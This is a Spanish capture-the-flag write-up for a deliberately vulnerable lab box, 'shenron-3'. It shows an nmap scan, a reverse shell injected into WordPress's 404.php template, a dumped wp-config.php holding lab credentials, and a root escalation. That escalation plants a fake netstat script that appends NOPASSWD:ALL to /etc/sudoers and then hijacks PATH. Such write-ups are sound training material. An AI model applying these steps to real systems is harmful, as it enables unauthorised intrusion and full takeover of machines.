Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-27 14:23 EDT
Nmap scan report for 192.168.5.148
Host is up (0.00056s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: shenron-3 | Just another WordPress site
|_http-generator: WordPress 4.6
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 00:0C:29:CC:AB:32 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.56 ms 192.168.5.148
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.92 seconds
Tendremos que editar el archivo hosts...
Gobuster
Info:
Por lo que vemos tiene un wordpress por lo que haremos lo siguiente...
Info:
Nos saca al usuario admin...
Info:
Por lo que vemos las credenciales son las siguientes...
Por lo que nos logeamos en wordpress...
Una vez dentro si nos vamos a Themes en la seccion Editor, seleccionamos la casilla 404.php y ahi inyectamos una Reverse Shell...
Una vez puesta en esa plantilla, lo duardaremos dandole a Update File, hecho eso nos vamos dentro de wordpress a una URL que no exista para que nos salga la pagina 404.php y se nos haga la Reverse Shell, pero antes estaremos a la escucha...
Y nos vamos por ejemplo...
Al no existir en la pestaña nos saldra Page not found y ya habriamos conseguido la shell como www-data....
Sanitizamos la shell...
Si nos vamos a /var/www/html/wp-config.php y lo leemos, veremos lo siguiente...
Por lo que vemos probaremos a utilizar la misma contraseña que utilizamos con el usuario admin pero con este usuario llamado shenron...
Y veremos que si sirve....
leemos la flag en la home del mismo usuario...
local.txt (flag1)
Vemos un archivo llamado network en la home y tiene el SUID activado como root por lo que ejecutamos ese archivo como root, si nos lo pasamos a nuestro host con python3...
host
Haremos lo siguiente...
Info:
Vemos que ejecuta un netstat por lo que cambiaremos el PATH creando nosotros un netstatmalicioso para ser root....
Volviendo al servidor victima...
Lo guardamos en /tmp/ como netstat y hacemos lo siguiente...
Y ahora cuando ejecutamos de nuevo...
Nos pondra que se nos añadio en el archivo sudoers por lo que ya podremos ser root...
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'wordpress');
/** MySQL database password */
define('DB_PASSWORD', 'Wordpress@123');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', 'U^RFX:KRZ_HlsZ?y9dt>e2ltmQoXX`QyB}3b:?v)A5{9_:|n;ZFZ2:Fi($/cAtY)');
define('SECURE_AUTH_KEY', 'Mt(Z)6k>bey!YVyoQvZXyB(r7sv*Fp4_yz^- B|7*jGBqcw3fH:1oAW66YqkqMzd');
define('LOGGED_IN_KEY', '9L)Uj~w|HUsaRqD(_#:PnbjV<U~vrx8@+AI6MXjtMr-!S+@@r#EK yKi|.CUD!Qo');
define('NONCE_KEY', '~!Ks,EO?79 SzB/|b-;rH:1,4%.<5<I`]6+11ysUWU3PxAv`Jw;WW~;mB_16Wq/?');
define('AUTH_SALT', 'eX?m#voW=i:ypWhp(yD QwY6U!o_.8iSK^c&Z6oN1~He/.vc-ji,sae9#^U_&Tey');
define('SECURE_AUTH_SALT', 'haDeiiO;pE<OCpO)J@%u1T1L|18?ur.1r$$C{N Gw/Z[4)YKK>nxDyMG-}hgpXxr');
define('LOGGED_IN_SALT', '|m5Uz9^|D=ka-0E=GX-m@EZA!WE;|6t^V~ CT<#>,G5#cNJC k?UNFueKA~eR3RW');
define('NONCE_SALT', ';6.RZvU,MjIJda{gH[/P #tk}xN5nh)ArgN|7[NN.0||@r~Guof_NE+K+ybIWbOY');
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the Codex.
*
* @link https://codex.wordpress.org/Debugging_in_WordPress
*/
define('WP_DEBUG', false);
/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');
#!/bin/bash
# Nombre de usuario a añadir al archivo sudoers
username="<USERNAME>"
# Añadir el usuario al archivo sudoers
echo "$username ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers > /dev/null
# Notificar al usuario que ha sido añadido
echo "El usuario '$username' ha sido añadido al archivo sudoers."
chmod +x /tmp/netstat
export PATH=/tmp:$PATH
./network
sudo -l
Matching Defaults entries for shenron on shenron:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shenron may run the following commands on shenron:
(ALL) NOPASSWD: ALL
sudo su
mmmm # mmmm
#" " # mm mmm m mm m mm mmm m mm " "#
"#mmm #" # #" # #" # #" " #" "# #" # mmm"
"# # # #"""" # # # # # # # """ "#
"mmm#" # # "#mm" # # # "#m#" # # "mmm#"
Your Root Flag Is Here :- a7ed78963dffd9450a34fcc4a0eecb98
Keep Supporting Me. ;-)